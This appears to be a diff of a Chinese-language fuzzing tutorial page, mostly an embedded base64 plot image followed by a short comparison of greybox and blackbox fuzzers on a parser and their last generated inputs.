H1c/jqedAieNVV+hYbYjJxJ6KT1CJyDfA/Vf32rJNVLeAnv+dpblmOACEiI3B6GdStWzd8jS1GfKk2ivoY06Y5sHNZ0VwMpvKF0KBztFthTETlGiBEZB3kfgG9qjYvyI5EpAzwMNAz0MuBdpHLfl8CXgJo3bp1EfyqWfTETC4mrxfK1YBhn0S7JcYY8u5B9HF/3+n+fsP9PQjIyFk9XxcCDYDs3kNtYLWItMXpMdTxq1sb2FWIfZgAvOot+r0HsIlgY4qYXAOEqu4EEJHLVfVyv5fGiMhSYHxBdqSq64Dq2c9FZAfQWlXTRWQOcJeIvA1cBhy2+YfQUdXYuEnOm+XcjGaMKRKCOWuUFZGO2U9EpANQNr83ich0YBnQRETSRGR4HtU/BrYD24CXgTuCaJcJkqIx1IOwAGFMURHM/8bhwGQRqYAzL3AYGJbfm1T1xnxer+/3WDk9lGVCTFWL/vwDWIAwpojJ93+jqq4CWojIeYCo6uHwN8uEkpdYmYPw2ByEMUVIvgFCRGoAfwdqqupVItIUaK+qr4a9dSY0NMRXMK14Fb78R+i2l+1YOtS4JPTbNcYUSjD9+SnAaziXqAJsAWYAFiBihBLiSeqdX8HJo9D0mtBtM1ujQFdBFx+ZmZmkpaVx4sSJaDfFxIFSpUpRu3ZtkpMLd5NnMAGiqqrOFJEHAVQ1S0Q8hdqbiQpfLqZQ8ZyCCrWh7wuh3W4cSEtLo3z58tSvXz825oVMzFJV9u/fT1paGg0aNCjUNoL5WnlMRKrg3rgmIu1wJqpNjAh5D8KTaZPJhXTixAmqVKliwcGEnYhQpUqVc+qtBvO//H5gDnChe/9DNeC6Qu/RRJxqiC9z9Zxy1kYwhWLBwUTKuf6t5RkgRCQBKAV0AZrgpMT4TlUzz2mvJvT+txq+/j8IMJykJ3ciWcdhVr5XJwfn57VQpVFotmWMKbLyDBCq6hWRf6hqe2BDhNpkCmP9u7DuHahyUY6XvKWykGQv7P42NPsqVQEa9QjNtkzEJSYmkpKSgqqSmJjIxIkT6dChQ8i2//e//52HHnqoQO+ZMmUKK1euZOLEiTle+/TTTxk7dixHjhyhVKlSNGnShKeeeiokyTpvueUW+vTpw3XXhW5QZOHChfTt29c37l+1alXmzZsXsu1HUjBDTHNF5LfAe6pFMQ+zAZwU2SXKwd2rcr709WPIjk/gliVRaJgpakqXLs2aNWsA+Oyzz3jwwQdZtGhRyLZfmACRm/Xr13P33XczZ84cfvWrXwEwZ84cduzYkSNAZGVlkZRUNObGOnXqxIcffhiVfXs8HhITQ3M/UTAzl/cD7wCnROSIiBwVkSMh2bsJISW3JeMUtcWCTEBHjhyhUqVKgDNXNXr0aJo1a0ZKSgozZszIs3z37t107tyZli1b0qxZM7788kvGjBnD8ePHadmyJYMGDQLgzTffpG3btrRs2ZLbb78dj8e5CPK1116jcePGdOnShaVLlwZs34QJE3jooYd8wQHgmmuuoXNnJ/V6165deeihh+jSpQvPPfcc+/bt47e//S1t2rShTZs2LF26FK/XS6NGjdi3bx8AXq+Xiy66iPT0dADmzZtHp06daNy4se+kfuLECYYOHUpKSgqXXnopX3zxBQDPPPMMw4Y5Q7Xr1q2jWbNmZGQEl7v0lltuYdasWb7n5cqVA2Ds2LG0bNmSli1bUqtWLYYOHcqkSZN8ZQ0aNKBbt24AzJ07l/bt25OamsqAAQP45ZdfAKhfvz7jx4+nY8eOvPPOO0G1JxjB3EldPmR7M+GjCrlcqRQzqTbizITlE9h8YHNIt3lx5Yt5oO0DedbJPoGfOHGC3bt3s2DBAgDee+891qxZw7fffkt6ejpt2rShc+fOfPXVVwHL33rrLXr16sXDDz+Mx+MhIyODTp06MXHiRF8PZdOmTcyYMYOlS5eSnJzMHXfcwbRp0+jRowfjxo1j1apVVKhQgW7dunHppZfmaOuGDRv44x//mOfxHDp0yNcDuummm7jvvvvo2LEjP/74I7169WLTpk387ne/Y9q0adx7773MmzePFi1aULVqVQB27NjBokWL+P777+nWrRvbtm3jhRecS7jXrVvH5s2b6dmzJ1u2bOHee++la9euvP/++zz22GP8+9//pkyZMjna9OWXX9KyZUsABgwYwMMPP5yjTrbx48czfvx4Dh8+TKdOnbjrrrto1aoVI0eOJDMzkyuuuIL777+f9PR0Hn30UebNm0fZsmWZMGECzzzzDGPHjgWcex6WLAntKEEwd1ILTorvBqr6N3fJ0AtUdXlIW2LOjXpzXXM6ZpL1mYjwH2JatmwZgwcPZv369SxZsoQbb7yRxMREatSoQZcuXVixYkWu5W3atGHYsGFkZmbSr18/3wnR3/z581m1ahVt2jiLQB0/fpzq1avzzTff0LVrV6pVqwbA9ddfz5YtW/Js9/79++nevTsZGRmMGDHCFziuv/56X5158+axceNG3/MjR45w9OhRhg0bRt++fbn33nuZPHkyQ4cO9dUZOHAgCQkJNGrUiIYNG7J582aWLFnC3XffDcDFF19MvXr12LJlC82bN2fKlCk0b96c22+/ncsv9090fVpBh5hUlUGDBnHffffRqlUrX/moUaO44ooruPrqq/nwww/ZuHGjb5+nTp2iffv2vrr+n0OoBDNg93+AF7gC+BvwC/ACUASX/YpnuQ8xedVrPYgiKL9v+pHQvn170tPT2bdvH7lNMeZW3rlzZxYvXsxHH33EzTffzOjRoxk8eHCO9w4ZMoTHH3/8jPLZs2cH9Td5ySWXsHr1alq0aEGVKlVYs2YNTz/9tG9oBaBs2dPJpb1eL8uWLaN06dJnbKd8+fLUqFGDBQsW8M033zBt2jTfa2e3Q0RyPWaArVu3Uq5cOXbtKtiSNUlJSXi9zlWGqsqpU6d8r/31r3+ldu3aZwSuKVOmsHPnTt/EvarSo0cPpk+fHnD7/p9DqAQzMH2Zqt4JnABQ1YOAXQRf1KhCHv/hrAdhAtm8eTMej4cqVarQuXNnZsyYgcfjYd++fSxevJi2bdvmWr5z506qV6/ObbfdxvDhw1m9ejUAycnJZGY6V8J3796dWbNmsXfvXgAOHDjAzp07ueyyy1i4cCH79+8nMzMz13HzP/3pTzz22GNs2rTJV5bXmH/Pnj3PuBIqu6cEcOutt/K73/2OgQMHnjGJ+8477+D1evn+++/Zvn07TZo0oXPnzr4gsmXLFn788UeaNGnC4cOHGTVqFIsXL2b//v1nzCnkp379+qxa5VxE8sEHH/g+ow8//JDPP/+c559/3ld31apVPP3007z55pskJDin6Xbt2rF06VK2bdvm+xzy63Wdq2B6EJkiksjpO6mr4fQoTJGSxxwENgdhTsuegwDnW+nUqVNJTEykf//+LFu2jBYtWiAiPPnkk5x//vm5lk+dOpWnnnqK5ORkypUrx+uvvw7AiBEjaN68OampqUybNo1HH32Unj174vV6SU5O5oUXXqBdu3b89a9/pX379lxwwQWkpqb6Jq/9paSk8NxzzzF48GCOHj1KlSpVqFu3Lo888kjAY3v++ee58847ad68OVlZWXTu3JlJkyYBzuT20KFDz/iWDtCkSRO6dOnCnj17mDRpEqVKleKOO+5g5MiRpKSkkJSUxJQpUyhZsiS///3vueOOO2jcuDGvvvoq3bp1o3PnzlSvXj1Qc85w22230bdvX9q2bUv37t193/j/8Y9/sGvXLtq2betr508//cSBAwd8k9OtW7fmlVdeYcqUKdx4442cPHkSgEcffZTGjRvnu+/CkvyuXBWRQcD1QCowFecu6j+rauimygupdevWunLlymg3o2j48D7YOAf+9H2Ol/6y9C8s27WMeQNi81rs4mTTpk1nXJFjImflypXcd999fPnll9FuSkQF+psTkVWq2jq/9wZzFdM0EVkFdMcZ5O6nqpvyeZuJtDyGmGJmyVFjwuSJJ57gxRdfPGPuweQv37OGiDwHVFbVF1R1YrDBQUQmi8heEVnvV/aUiGwWkbUi8r6IVPR77UER2SYi34lIr0IdTVzLZ4jJ5iBMHBszZgw7d+6kY8eO+Vc2PsF8rVwN/Nk9eT8lIvl2S1xTgCvPKvscaKaqzXHWlXgQwF2E6AbgEvc9/+fOe5hgqZdcb5Sz+yCMMYWQb4BQ1amq2htoi3NSnyAiW4N432LgwFllc1U1y336NVDbfdwXeFtVT6rqD8A2d38mWHkMMcXMkqPGmCKlIAPTFwEXA/WBUNz+OQz4xH1cC/jJ77U0tywHERkhIitFZGX2rfMG8ky1YT0IY0whBDMHkd1jGI+T0bWVql59LjsVkYeBLCB7xijQ2Svg5VWq+pKqtlbV1tl3YRrc+JD7HIRNUhtjCiqYs8YPQHtVvVJVJ6vqoXPZoYgMAfoAg/yyw6YBdfyq1QYKdptivFNvnlcx2RCTybZnzx5uuukmGjZsSKtWrWjfvj3vv/9+SLa9cOFC+vTpE5Jt+atfvz4pKSm+BHZfffVVyPdhcgrmMtdJInKNiHR2ixap6n8KszMRuRJ4AOiiqv63Q84B3hKRZ4CaQCPAcj0VSN7ZXG2IyYDzZaFfv34MGTKEt956C4CdO3cyZ86cHHWLUvpsgC+++MKXYC+SitrnEEnBDDE9DowCNro/97hl+b1vOrAMaCIiaSIyHJgIlAc+F5E1IjIJQFU3ADPd7X8K3KmqOW+rNLnLa5JabZLaOBYsWECJEiUYOXKkr6xevXq+xHRTpkxhwIABXH311fTs2ROAp556ijZt2tC8eXPGjRsHwF/+8heee+453zYefvhhX6qII0eO0L9/f5o2bcrIkSN9+YemT59OSkoKzZo144EHnDxUO3fupFGjRqSnp+P1eunUqRNz584N6ljO7q3cddddvoWHsnsaKSkpiAi7du3ylbVs2ZLExER27twZMD04OLmRRowYQc+ePXPkl4onwYTF3wAtVZ21LEVkKvBf3EtUc6OqNwYofjWP+o8BjwXRHhNIHkNMYLmYiqRPxsDP60K7zfNT4Koncn15w4YNpKam5rmJZcuWsXbtWipXrszcuXPZunUry5cvR1W55pprWLx4McOHD+faa69l1KhReL1e3n77bZYvX866detYvnw5GzdupF69elx55ZW89957dOjQgQceeIBVq1ZRqVIlevbsyezZs+nXrx8PPPAAI0eO5LLLLqNp06a+wHS2bt26kZiYSMmSJfnmm29ybX/r1q19OZhGjx7NlVdeSc2aNX1lL7zwAosWLaJevXq5pgcHJx/SkiVLciT+iyfB9psqcvqS1Qphaos5J5bN1RTcnXfeyZIlSyhRogQrVqwAoEePHlSuXBlwFqiZO3eub62GX375ha1bt9K5c2eqVKnCf//7X/bs2cOll15KlSpVAGjbti0NGzYE4MYbb2TJkiUkJyefkd570KBBLF68mH79+nHrrbfyzjvvMGnSpDOS652toENMM2fOZPXq1Wf0SJYuXcorr7ziS7eRW3pwcHIixXNwgOACxOPAf0XkC5wzUGfy6T2YKMgn1YYFiCIoj2/64XLJJZfw7rvv+p6/8MILpKen07r16ftf/dNGqyoPPvggt99+e45t3XrrrUyZMoWff/7Zt8oaFDx9dkZGBmlpaYATgMqXD26NMv/02eCsApdtw4YNjBs3jsWLF/syt+7evZvhw4czZ84c32puuaUHh/Ckz441wdwoNx1oB7zn/rRX1bfD3TBTUHmn2rAlRw3AFVdcwYkTJ3jxxRd9ZXmlz+7VqxeTJ0/2rb/wv//9z5e6u3///nz66aesWLGCXr1OZ8dZvnwJppsnAAAcHUlEQVQ5P/zwA16vlxkzZtCxY0cuu+wyFi1aRHp6Oh6Ph+nTp9OlSxcAHnjgAQYNGsT48eO57bbbgj6WevXqsXHjRk6ePMnhw4eZP38+AIcPH+aGG27g9ddf9/VYMjMzGThwIBMmTDgj+2le6cFNcCvK9QcWqOoc93lFEemnqrPD3joTPEu1YYIgIsyePZv77ruPJ598kmrVqvmWrwykZ8+ebNq0ybdyWbly5XjzzTepXr06JUqUoFu3blSsWPGM9RXat2/PmDFjWLduHZ07d6Z///4kJCTw+OOP061bN1SV3r1707dvXxYtWsSKFStYunQpiYmJvPvuu7z22ms5UnIHUqdOHQYOHEjz5s1p1KiRbxhs9uzZ7Ny584xg89xzz7FixQrGjRvnm2j/+OOP80wPboJL971GVVueVfZfVc25gGyEWbpvPzOHwN6NcNeKHC/dNf8u9mbsZebVM6PQMOOvOKX79nq9pKam8s4779CoUaNoN8fkIqzpvgk8DBWfFwUXBVvmwuKnyHGj+f5tUDbwoiU2SW1CbePGjfTp04f+/ftbcCjGgjnRr3RvYHsB56x0N7AqrK0yuds6F3athgadzyyveSlc1CPgWyzdtwm1pk2bsn379mg3w4RZMAHibuAvwAz3+Vzgz2FrkcmbeqFURbg5+NQIlovJGFMYwaTaOAaMiUBbTDDUm+vVSrm+xXIxGWMKweYSYk0uAeJf//0Xn+34LOBb9hzbQ5PKTcLdMmNMMWMBItbkEiC+TPuS45nHaXV+qxyvNa3SlCvqXBGJ1hljihELELFGA98Q51EPzao248nOT0ahUSaWJCYmkpKSgqqSmJjIxIkT6dChAzt27KBPnz6sX78+/42cpWvXrjz99NNn3JENzn0T2TfZhcott9zCokWLqFDByfozbNgw7rnnnpDuwziCuVHuSeBR4DhOptUWwL2q+maY22YCyaUH4fF6SEywZbxN/kqXLu27Y/izzz7jwQcfZNGiRVFuVcE89dRTXHfddRHfr8fjOeOmwOIumNnOnqp6BGeRnzSgMTA6rK0yucsla6tHPSSJdQhNwRw5coRKlSrlKN+xYwedOnUiNTWV1NTUMxboefLJJ0lJSaFFixaMGXPm9Ster5chQ4bw5z+fvtDxD3/4A6mpqXTv3p3sZYLXrFlDu3btaN68Of379+fgwYNkZWXRpk0bFi5cCMCDDz7Iww8/HPSxZOdXApg1axa33HILwBlpvkuXLs2iRYvo3bu3r6xChQpMnToVj8fD6NGjfanN//3vfwNOWvFu3bpx0003kZKSEnR7ioNgzijJ7u/ewHRVPWA3XUVRLj2ILG+W9SBizCP/2cDGXUdCus2mNc9j3NWX5Fnn+PHjtGzZkhMnTrB7924WLFiQo0716tX5/PPPKVWqFFu3buXGG29k5cqVfPLJJ8yePZtvvvmGMmXKcODAAd97srKyGDRoEM2aNfOd2I8dO0Zqair/+Mc/GD9+PI888ggTJ05k8ODB/Otf/6JLly6MHTuWRx55hH/+859MmTKF6667jueff55PP/0017Teo0eP5tFHHwXgjTfeyPPEnd1b+s9//sOTTz5Jhw4d+PjjjwEnpffQoUPp168fr776KhUqVGDFihWcPHmSyy+/3Jd6fPny5axfv54GDRrk+dkWN8EEiP+IyGacIaY7RKQacCKf95hwyW2IST0kigUIkz//IaZly5YxePDgHPMOmZmZ3HXXXaxZs4bExES2bNkCOOmxhw4dSpkyZQB8acEBbr/9dgYOHHjGt/6EhASuv/56AH73u99x7bXXcvjwYQ4dOuRL1jdkyBAGDBgAONlmb775Zq6++mqWLVtGiRIlAh5DQYeYtm7dyujRo1mwYAHJyc533vT0dG6++WZmzpxJhQoVmDt3LmvXrmXWrFmAk/Rv69atlChRgrZt28ZdcIDg7oMYIyITgCOq6hGRDKBv+JtmArI5iGIjv2/6kdC+fXvS09N9Qz/Znn32WWrUqMG3336L1+ulVKlSQN6JHzt06MAXX3zBH/7wB1/9swUz+rBu3ToqVqzInj17CnQs/tv2T/197NgxBg4cyMsvv0zNmjUBZy7hhhtuYOzYsTRr1gxwju1f//rXGZlpwRliitfU38EsOVoGuBPIzg9cE8g3yZOITBaRvSKy3q+ssoh8LiJb3d+V3HIRkedFZJuIrBWRvJe8KsYyPZn0mtWLlKkpgX8yVpJy3skc5XuP7yU5ITn/HRjjZ/PmzXg8Ht9iP9kOHz7MBRdcQEJCAm+88QYej7MCcM+ePZk8ebIvRbj/ENPw4cPp3bs3AwYMICsrC3DmJLK/kb/11lt07NiRChUqUKlSJd+iPW+88YavN/Hee++xf/9+Fi9ezD333MOhQ4eCPpYaNWqwadMmvF4v779/OtPA0KFDGTp0KJ06dfKVjRkzhubNm3PDDTf4ynr16sWLL75IZmYmAFu2bOHYsWNB7784CmaI6TWc3Esd3OdpwDvAh/m8bwrOGtSv+5WNAear6hMiMsZ9/gBwFdDI/bkMJxhdFtwhFC8ZWRnsOraLy2teTkq1AOOq69+H4wegzfAzigXhqgZXRaiVJpZlz0GA86156tSpOa7MueOOO/jtb3/LO++8Q7du3XzfoK+88krWrFlD69atKVGiBL179+bvf/+77333338/hw8f5uabb2batGmULVuWDRs20KpVKypUqMCMGU7GnqlTpzJy5EgyMjJo2LAhr732Gunp6YwZM4b58+dTp04d7rrrLkaNGsXUqVODOq4nnniCPn36UKdOHZo1a8Yvv/zCzp07mTVrFlu2bGHy5MkAvPLKKzz99NNccsklvs9h/Pjx3HrrrezYsYPU1FRUlWrVqjF7dnyvahBMuu+VqtraP8W3iHyrqi3y3bhIfeBDVW3mPv8O6Kqqu0XkAmChqjYRkX+7j6efXS+v7RfHdN8HTxyk84zOjGk7hkG/GpSzwtuD4MAPcMdXOV8zRV5xSvdtYkO4032fEpHSuPmlReRC4GRhGgrUyD7pu0EiOz91LeAnv3ppblmOACEiI4ARAHXr1i1kM4ourzpLKCZknoCMAzkrZJ0scC4mY4wpjGACxDicG+TqiMg04HLglhC3I9DMVcCujaq+BLwETg8ixO2IOnUPO/HzsfDe/YEr1YzbKRpjTAQFcxXT5yKyGmddagFGqWp6Ife3R0Qu8Bti2uuWpwF1/OrVBnYVch8xLbsHISXKwpV/CVypTtsItsiEmi0BayIlvymE/AR7620p4KBbv6mIoKqLC7G/OcAQ4An39wd+5XeJyNs4k9OH85t/KK58Q0wlykG7kVFujQm1UqVKsX//fqpUqWJBwoSVqrJ///5cLzkORjC5mCYA1wMbAG/2voE8A4SITAe6AlVFJA1nqOoJYKaIDAd+BAa41T/GuVN7G5AB5L9ieTGVHfET7Ka3Yql27dqkpaXluO/AmHAoVaoUtWvXLvT7g+lB9AOaqGqBJqZV9cZcXuoeoK7i3GsR97xuDLZvl8VTcnJyXN6Ra2JTMJfDbOd0PiYTZtaDMMYUFcH0IDKANSIyH7/LW1XVErCHQXaAEAsQxpgoCyZAzHF/TCh4suDntU5OpQC8GT8DkGB5lYwxURbMZa7B3edugrNyMnyS+3Ia3uQkqF2ThKTCX3lgjDGhkGuAEJGZqjpQRNYR4KY1VW0e1pYVN6vfgAV/g5NHIbksDAwcdzVjD6yZgLQeFuEGGmPMmfLqQYxyf/eJREOKvR+/hlPHoPn1UPNSaNQjYDXvwW2wBhJK51zlyxhjIinXAOGXM2ln5JoT2zbs38D+4/sDv3jiZ6hYFS691nmeFvg2kl2/ODeQJ1i+JWNMlOU1xHSUwPmQBOfWhfPC1qoYdOjEIW766CbfndABlQXmB3e7R/kS5UPTMGOMKaS8ehB2hgrSloNbGPzJYLzq5f5W99O6RoAsuq9fA+VqwLUv57u9kkklaVSxURhaaowxwQs2F5PJQ9rRNI5lHuOmi2/i+ibXUya5TM5KyRXBmwSBFgEyxpgiyAa6QyD75rZrG10bODgAeD1Qo2kEW2WMMefGAkQIZOdPynNi2esBWzPaGBNDLECEgEedBd3zDhBZYHdHG2NiiAWIEDidPymPDKzeLEiwKR9jTOywABECvkV+8vo4LUAYY2KMnbFCwBcg/IeYMg44aTWyeTItQBhjYoqdsUJAOWuI6ejP8OwlTq/BX3LpCLfMGGMKLyoBQkTuA27FuVN7Hc4SoxcAbwOVgdXAzap6KhrtK6gcPYiM/U5waHObk3cJQBKgUc8otdAYYwou4gFCRGoB9wBNVfW4iMwEbsBZk/pZVX1bRCYBw4EXI92+wsgOEInZi/xk9xwu7AYX/yZKrTLGmHMTrUnqJKC0iCQBZYDdwBXALPf1qThrYceE7AAhuENM2QHC5hyMMTEs4gFCVf8HPA38iBMYDgOrgEOqmj1onwbUinTbCivHEJPXuS/C7nswxsSyiAcIEakE9AUaADVxcpxeFaBqoEyyiMgIEVkpIiv37dsXvoYWQI77IKwHYYwpBqIxxPRr4AdV3aeqmcB7QAegojvkBFAb2BXozar6kqq2VtXW1apVi0yL85Ej1YYFCGNMMRCNAPEj0E5Eyojzlbs7sBH4ArjOrTME+CAKbSuUHDfKHfrR+W0BwhgTw6IxB/ENzmT0apxLXBOAl4AHgPtFZBtQBXg10m0rrBxDTAufcH6XqhilFhljzLmLyldcVR0HjDureDvQNgrNOWfZyfp8l7kmlYLqTaH6xVFslTHGnBvLxRQC2T2I06k2FKpZcDDGxDYLECGQPUntG2JSde6cNsaYGGZnsRDIcR+EeiGv1N/GGBMDLECEgG+ICb8hJutBGGNinJ3FQsCXasM3xOQFrAdhjIltFiBCIOcQE9aDMMbEPDuLhUCOO6ltDsIYUwxYgAgBr3rPXE0OtQBhjIl5FiBCQFXPXI/a5iCMMcWABYgQ8Kr39AQ12H0Qxphiwc5iIeDlrCEmm4MwxhQDFiBCIMubFWAOwj5aY0xss7PYOcr0ZPLGxjeoULLC6UKbgzDGFAMWIM7RwZMHAWhwXoPThWpXMRljYp8FiHOUfZNcr/q9Theq14aYjDExz85i5yhnqm9wb6WOSnuMMSZULECcoxypvsEuczXGFAu2aPI5CtiDsDmIfO09eoJnP9/CyUxvtJtiTEzqdnF1rm5RM6z7iEqAEJGKwCtAM5zxmGHAd8AMoD6wAxioqgej0b6C8K1HnT2ktH0ReDPz7EGs3HGAfUdPRqJ5RdbX2/czfflP1KpYmgTrbBlTYI3PLx/2fUSrB/Ec8KmqXiciJYAywEPAfFV9QkTGAGOAB6LUvqCdkahv33fw+jXOC6UrBqx/8Ngprpu0LFLNK9LKlEhkwR+7UDIpMdpNMcYEEPEAISLnAZ2BWwBU9RRwSkT6Al3dalOBhcRCgPBP9T33L07hb1+FS/oHrH/sVBYA9/doTM9LakSkjUVV5bIlLDgYU4RFowfRENgHvCYiLYBVwCighqruBlDV3SJSPdCbRWQEMAKgbt26kWlxHs4YYso67hQ27QcJgU98WR6nfu1Kpbn4/PMi0kZjjCmMaIz+JgGpwIuqeilwDGc4KSiq+pKqtlbV1tWqVQtXG4N2xmpynkxo0BkSc4+7WV6nflKiDbwbY4q2aJyl0oA0Vf3GfT4LJ2DsEZELANzfe6PQtgI7Yw7CcwoSS+RZP9PtQSQn2FVOxpiiLeIBQlV/Bn4SkSZuUXdgIzAHGOKWDQE+iHTbCsN3mSsJTg8inwDh8Tr1Ey1AGGOKuGhdxXQ3MM29gmk7MBQnWM0UkeHAj8CAKLUteDuX4Z33MCSBzBsH6dugUv2AVTftPsK4DzZw+HgmAMk2xGSMKeKiEiBUdQ3QOsBL3SPdlnOyfSHePWuh1gUkJJeBeu2h+cCAVVfsOMDyHQdo17AyvS6pQUrtCgHrGWNMUWF3UheSqrLz1CF+Sk4GIOGKP0PtzrnWzx5aenFQKyqVzXsYyhhjigILEIU087uZPPrzx1C9KgClEkvlWT87QCTY3IMxJkZYgCiAQycOMXLeSH7J/IWDJw5SShL52779lB74Jq1qtMrzve5ctk1OG2NihgWIAthxZAcb9m+gzfltaFqlKSn7f+LKH7+AOl3yfa/Hl9Qv3K00xpjQsABRAFleJ03GbSm30b5me/jsYUhYHNR7fUNMluXVGBMj7FrLAvCoB4CkBDeuej1Br/vgtfsfjDExxgJEAWT3IJITnCuX0AIEiOw5COtBGGNihAWIAsgOEL4ehHpzTcp3tuw5CIsPxphYYQGiAPZk7AEgUdygUMAhpgQ5a2lSY4wpwixAFMBH2z8CoGJJdzEg9YIE14Pwqtr8gzEmpthVTMF4uTv7d69mdb3aXHjqFBc8fbHvpTStSscxHwW1mdLJtjiOMSZ2WIAIxt6N7K3ZAthPj6qpcFEKm38+wmcb9lC1cTvuuaBRUJtpXKNceNtpjDEhZAEiGN4sPBekQPpCmrUeCXW6sH5VGs9++y2Lf9ONulXKRLuFxhgTcjYHEQyvB48715DgTkr77mtItHkFY0zxZAEiP6qgHjzu1UeJ7mWtWdkBwq5KMsYUUxYg8uOuOe0LEG5PwpdbyT5BY0wxZae3/Lg3x+UIEB4ncCRZhDDGFFNRO7uJSKKI/FdEPnSfNxCRb0Rkq4jMcJcjjT6vk3/Je9YQk8dSZxhjirlofv0dBWzyez4BeFZVGwEHgeFRadXZ3AR9HpxAcPYktXUgjDHFVVQucxWR2sBvgMeA+8XJP3EFcJNbZSrwV+DFcOz/zU8m8FbaG0HVFSC51vns+WkhJMGot74l2XOIgxmnAMvOaowpvqJ1H8Q/gT8B5d3nVYBDqprlPk8DagV6o4iMAEYA1K1bt1A7L1+mCudr2aDrK8KJxPqUkyo0rNKIRHf0q16VspQpYbeSGGOKp4if3USkD7BXVVeJSNfs4gBVNdD7VfUl4CWA1q1bB6yTn75dbqVvl1sL81ZjjIkb0fj6ezlwjYj0BkoB5+H0KCqKSJLbi6gN7IpC24wxxrgiPsWqqg+qam1VrQ/cACxQ1UHAF8B1brUhwAeRbpsxxpjTitI1OA/gTFhvw5mTeDXK7THGmLgW1RlWVV0ILHQfbwfaRrM9xhhjTitKPQhjjDFFiAUIY4wxAVmAMMYYE5AFCGOMMQGJaqHuNSsSRGQfsLOQb68KpIewObHAjjk+2DHHh3M55nqqWi2/SjEdIM6FiKxU1dbRbkck2THHBzvm+BCJY7YhJmOMMQFZgDDGGBNQPAeIl6LdgCiwY44PdszxIezHHLdzEMYYY/IWzz0IY4wxebAAYYwxJqC4DBAicqWIfCci20RkTLTbcy5EZLKI7BWR9X5llUXkcxHZ6v6u5JaLiDzvHvdaEUn1e88Qt/5WERkSjWMJhojUEZEvRGSTiGwQkVFueXE+5lIislxEvnWP+RG3vIGIfOO2f4aIs9ShiJR0n29zX6/vt60H3fLvRKRXdI4oeCKSKCL/FZEP3efF+phFZIeIrBORNSKy0i2L3t+2qsbVD5AIfA80BEoA3wJNo92ucziezkAqsN6v7ElgjPt4DDDBfdwb+ARnBb92wDdueWVgu/u7kvu4UrSPLZfjvQBIdR+XB7YATYv5MQtQzn2cDHzjHstM4Aa3fBLwe/fxHcAk9/ENwAz3cVP3770k0MD9f5AY7ePL59jvB94CPnSfF+tjBnYAVc8qi9rfdjz2INoC21R1u6qeAt4G+ka5TYWmqouBA2cV9wWmuo+nAv38yl9Xx9c4q/hdAPQCPlfVA6p6EPgcuDL8rS84Vd2tqqvdx0eBTTjrlxfnY1ZV/cV9muz+KHAFMMstP/uYsz+LWUB3ERG3/G1VPamqPwDbKMIp9kWkNvAb4BX3uVDMjzkXUfvbjscAUQv4ye95mltWnNRQ1d3gnFCB6m55bscek5+JO4xwKc436mJ9zO5QyxpgL85/+O+BQ+os0Qtntt93bO7rh3EW4YqpY8ZZivhPgNd9XoXif8wKzBWRVSIywi2L2t92VBcMihIJUBYv1/rmduwx95mISDngXeBeVT3ifFkMXDVAWcwds6p6gJYiUhF4H/hVoGru75g/ZhHpA+xV1VUi0jW7OEDVYnPMrstVdZeIVAc+F5HNedQN+zHHYw8iDajj97w2sCtKbQmXPW5XE/f3Xrc8t2OPqc9ERJJxgsM0VX3PLS7Wx5xNVQ/hrMLYDmdIIftLnn/7fcfmvl4BZxgylo75cuAaEdmBMwx8BU6PojgfM6q6y/29F+eLQFui+LcdjwFiBdDIvRqiBM6E1pwotynU5gDZVy4MAT7wKx/sXv3QDjjsdlk/A3qKSCX3ComeblmR444rvwpsUtVn/F4qzsdcze05ICKlgV/jzL18AVznVjv7mLM/i+uABerMXs4BbnCv+GkANAKWR+YoCkZVH1TV2qpaH+f/6AJVHUQxPmYRKSsi5bMf4/xNrieaf9vRnrWPxg/O7P8WnHHch6PdnnM8lunAbiAT55vDcJyx1/nAVvd3ZbeuAC+4x70OaO23nWE4E3jbgKHRPq48jrcjTnd5LbDG/eldzI+5OfBf95jXA2Pd8oY4J7ttwDtASbe8lPt8m/t6Q79tPex+Ft8BV0X72II8/q6cvoqp2B6ze2zfuj8bss9N0fzbtlQbxhhjAorHISZjjDFBsABhjDEmIAsQxhhjArIAYYwxJiALEMYYYwKyAGHikog8LiJdRaSfFDCjr3tfwjdultFOZ732iog0DW1rQUQeCvU2jcmPXeZq4pKILMBJBPd3YJaqLi3Ae2/AuZ4+YinCReQXVS0Xqf0ZA9aDMHFGRJ4SkbVAG2AZcCvwooiMDVC3nojMd3PtzxeRuiLSEif9cm83Z3/ps96zUERau49/EZHHxFnH4WsRqeGWTxGRSSLypYhscfMOISK3iMhEv2196PZyngBKu/ub5t5x+5G73fUicn2YPi4T5yxAmLiiqqNxgsIUnCCxVlWbq+r4ANUn4qRTbg5MA55X1TXAWJz1Blqq6vE8dlcW+FpVWwCLgdv8XqsPdMHpxUwSkVJ5tHkMcNzd3yCc1M27VLWFqjYDPg3m2I0pKAsQJh5dipOi42JgYx712uMsVgPwBk6aj4I4BXzoPl6FExSyzVRVr6puxVnQ5eICbHcd8GsRmSAinVT1cAHbZUxQ4jHdt4lT7vDQFJzslulAGadY1gDt8+kNQMFTJmfq6Uk+D2f+fzt7WwpkceaXtoC9ClXdIiKtcHJQPS4ic3PpARlzTqwHYeKGqq5R1ZacXqZ0AdArj6Gir3AyiQIMApaEsDkDRCRBRC7ESdL2Hc5yky3d8jqcufJZppvmHBGpCWSo6pvA0zhLzhoTctaDMHFFRKoBB1XVKyIXq2peQ0z3AJNFZDSwDxgawqZ8BywCagAjVfWEiCwFfsAZQloPrPar/xKwVkRWA68DT4mIFyeL7+9D2C5jfOwyV2MiTESm4KSvnpVfXWOiyYaYjDHGBGQ9CGOMMQFZD8IYY0xAFiCMMcYEZAHCGGNMQBYgjDHGBGQBwhhjTED/DyGGOs6AVhFkAAAAAElFTkSuQmCC
+)
+
+两个灰盒模糊器明显优于灰盒模糊器。 原因是灰盒模糊器在此过程中“发现”了有趣的输入。 让我们看一下灰盒子和黑盒子模糊器生成的最后10个输入。
+
+```py
+blackbox_fuzzer.inputs[-10:]
+
+```
+
+```py
+['0', '', '$', '0', ' u', ' |', ' L', '!', '', 'x ']
+
+```
+
+```py
+greybox_fuzzer.inputs[-10:]
+
+```
+
+```py
+['wq e#kHy|jgQob16{4<B/`rBG>R',
+ '<\n92h#Z?8- &<',
+ 'L<C5c&tr)4%<f',
+ '"0=C\n*\x1c["<`',
+ '>?',
+ '8\x1380S&<',
+ '.<izdc',
+ '/&<J&\x15',
+ "c{VIw<<%'JG_Z",
+ ';&+\x18<~']
+
+```
+
+灰匣子模糊器执行的输入要复杂得多，其中许多包含特殊字符，例如左，右括号和V形符号（即`<, >, [, ]`）。 但是，仍然缺少许多重要的关键字，例如`<html>`。
+
